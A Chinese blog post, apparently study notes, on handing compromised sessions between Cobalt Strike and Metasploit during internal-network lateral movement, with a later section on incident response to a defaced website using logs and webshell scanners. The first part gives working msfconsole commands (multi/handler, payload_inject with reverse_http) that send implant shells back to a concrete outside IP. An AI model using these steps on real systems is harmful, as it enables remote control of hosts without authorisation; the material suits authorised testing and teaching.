神出鬼没的Enderman

内网安全-域横向CS&MSF联动及应急响应初识

MSF&CobaltStrike联动Shell

因为cs和msf经常相互调用，有一些功能cs强一点，有一些可能msf强一点，所以在渗透测试的时候经常要切换！所以我们需要学习如何在cs、msf、powershell之间进行会话委派。powershell本身用处少，而且很多正式环境上的powershell默认执行策略是关闭的，总的来说有的鸡肋，所以这里就不再讲了。

CS->MSF

• 创建Foreign监听器->MSF监听模块设置对应地址端口->CS执行Spawn选择监听器

MSF->CS

• CS创建监听器->MSF载入新模块注入设置对应地址端口->执行CS等待上线

use exploit/windows/local/payload_inject

cs移交到msf

2台外网服务器（分别部署msf和cs）和一台webserver服务器、一台本地主机。在webserver和本地主机执行木马，实现域内主机上线，先将会话从cs移交到msf，再从msf移交到cs，实现互相切换

• 启动cs，在在webserver和本地主机执行木马，实现webserver和本地主机上线

CS上，创建Foreign监听器

MSF监听模块设置对应地址端口

msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_http #这个payload要跟CS设置的payload保持一致
set lhost 0.0.0.0 #不设置也行
set lport 4444 #端口需要与cs监听器端口保持一致
exploit

CS执行Spawn选择监听器。具体步骤：右击本地主机图标-->spawn（权利委派）-->选择msf监听器，如果想要msf接管webserver主机权限，就先右击webserver主机图标

等待一会儿，msf接收到会话。如果一直没有反弹结果，可能就是网络问题，此时就要看看接管主机类型了（如果是虚拟机，一般没什么问题。但是阿里云服务器上面有个端口问题，要开启4444端口，还可以右键session——sleep设1试试）

msf移交到cs

CS创建监听器

MSF载入新模块注入设置对应地址端口

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http #这个payload要跟CS监听器设置的payload保持一致
set lport 5566 #端口需要与cs监听器端口保持一致
set lhost 101.37.160.211 # IP设置为msf本地IP，与CS设置保持一致
set session 4 #上面第<5>步生成的session就是4
exploit

等待一会儿，会话4的shell就反弹到CS上面了

WEB攻击应急响应溯源

• 故事回顾：某客户反映自己的网站首页出现篡改，请求支援
• 分析：涉及的攻击面，涉及的操作权限，涉及的攻击意图，涉及的攻击方式等
• 思路1：利用日志定位修改时间基数，将前时间进行攻击分析，后时间进行操作分析
• 思路2：利用后门webshell查杀脚本或工具找到对应后门文件，定位第一次时间分析
• 站在攻击者的角度，去分析。攻击者当前拿到哪些权限，网站还是系统权限。装没装杀软，用渗透者的思路去想问题。注重信息搜集，从攻击面入手查看应急响应。

执行netstat -ano命令，通过开放的端口找到对应的PID

执行tasklist -svc命令，通过PID找到对应的进程名称

在任务管理器，右击进程名称，选择打开文件位置

直接定位到具体位置

根据不同的服务名，找寻对应的日志存储目录

打开日志，分析异常操作，发现有人上传了x.php文件

通过网站目录找到x.php

还可以去网站目录查看首页修改时间，查找网站相关日志，定位修改时间基数，将该时间之前的日志进行攻击分析（分析攻击者是如何修改首页内容的），该时间之后的日志进行操作分析（分析攻击者修改网页之后还进行了什么操作，是否留有后门等） 利用后门webshell查杀脚本或工具找到对应后门文件，网上有很多查杀工具，比如D盾_Web查杀、百度WEBDIR+、河马、Sangfor WebShellKill、深度学习模型检测PHP Webshell、PHP Malware Finder、在线webshell查杀工具等。参考：https://blog.csdn.net/qq_25645753/article/details/110196602

• 比如使用河马查杀，安装之后，扫描，发现两个后门。然后去日志搜索相关关键字，找到是谁访问了这个后门，如何操作等